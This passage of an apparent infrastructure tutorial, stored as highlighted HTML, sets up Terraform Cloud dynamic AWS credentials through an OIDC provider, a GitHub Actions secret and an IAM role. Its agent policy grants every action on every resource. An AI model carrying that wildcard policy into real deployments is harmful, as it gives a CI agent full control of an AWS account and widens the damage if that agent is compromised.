#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"github_actions_secret\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfe_secret\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  repository\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003egithub_repository\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003erepo\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ename\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  secret_name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"TFE_TOKEN\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  plaintext_value\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfe_team_token\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003egithub_actions_token\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etoken\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eoutput\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"repository_id\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  value\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003egithub_repository\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003erepo\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eid\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis will generate a new repository in your account called \u003ccode\u003einfra\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eFor the terraform provider to have access to github you need to create a new\npersonal access token with full \u003ccode\u003erepo\u003c/code\u003e access and set it as an environment\nvariable named \u003ccode\u003eGITHUB_TOKEN\u003c/code\u003e.\u003c/p\u003e\n\u003ch3\u003eTerraform Cloud\u003c/h3\u003e\n\u003cp\u003eNow we need to setup dynamic credentials so the terraform cloud agent is\nallowed to take actions on your behalf.   To do this we'll setup an IAM\nrole and an OIDC provider. Create a file called \u003ccode\u003e4-tfc.tf\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"default\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfe_organization\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"organization\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_organization_name\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  email\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_organization_owner\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e/* AWS will use this TLS certificate to verify that requests for dynamic\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003ecredentials come from Terraform Cloud.*/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003edata\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tls_certificate\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc_certificate\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  url\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"https://\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_hostname\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e/* sets up an OIDC provider in AWS with Terraform Cloud's TLS certificate,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003ethe SHA1 fingerprint from the TLS certificate\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e*/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"aws_iam_openid_connect_provider\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc_provider\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  url\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003edata\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etls_certificate\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_certificate\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eurl\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  client_id_list\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[var\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_aws_audience]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  thumbprint_list\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    data\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etls_certificate\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_certificate\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ecertificates[\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003esha1_fingerprint\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e/* Policy to allow TFC to assume the AWS IAM role in our account */\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003edata\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"aws_iam_policy_document\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"assume_role\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003estatement\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    effect\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Allow\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eprincipals\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Federated\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      identifiers\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[aws_iam_openid_connect_provider\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_provider\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003earn]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003econdition\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      test\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"StringEquals\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      variable\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_hostname\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:aud\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      values\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eone\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e(aws_iam_openid_connect_provider\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_provider\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eclient_id_list\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e)\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003econdition\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      test\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"StringLike\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      variable\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_hostname\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:sub\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      values\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003efor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e workspace \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e var\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_workspaces \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"organization:\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfe_organization\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eorganization\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:project:\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfc_project_name\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:workspace:\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eworkspace\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:run_phase:*\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    actions\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"sts:AssumeRoleWithWebIdentity\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"aws_iam_role\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc-agent\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e               \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"tfc-agent\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  assume_role_policy\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003edata\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eaws_iam_policy_document\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eassume_role\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ejson\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e/* Policy for what the TFC agent is allowed to do */\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003edata\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"aws_iam_policy_document\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc-agent\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  version\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2012-10-17\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003estatement\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    actions\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"*\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    effect\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Allow\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    resources\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"*\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"aws_iam_policy\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc-agent\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan 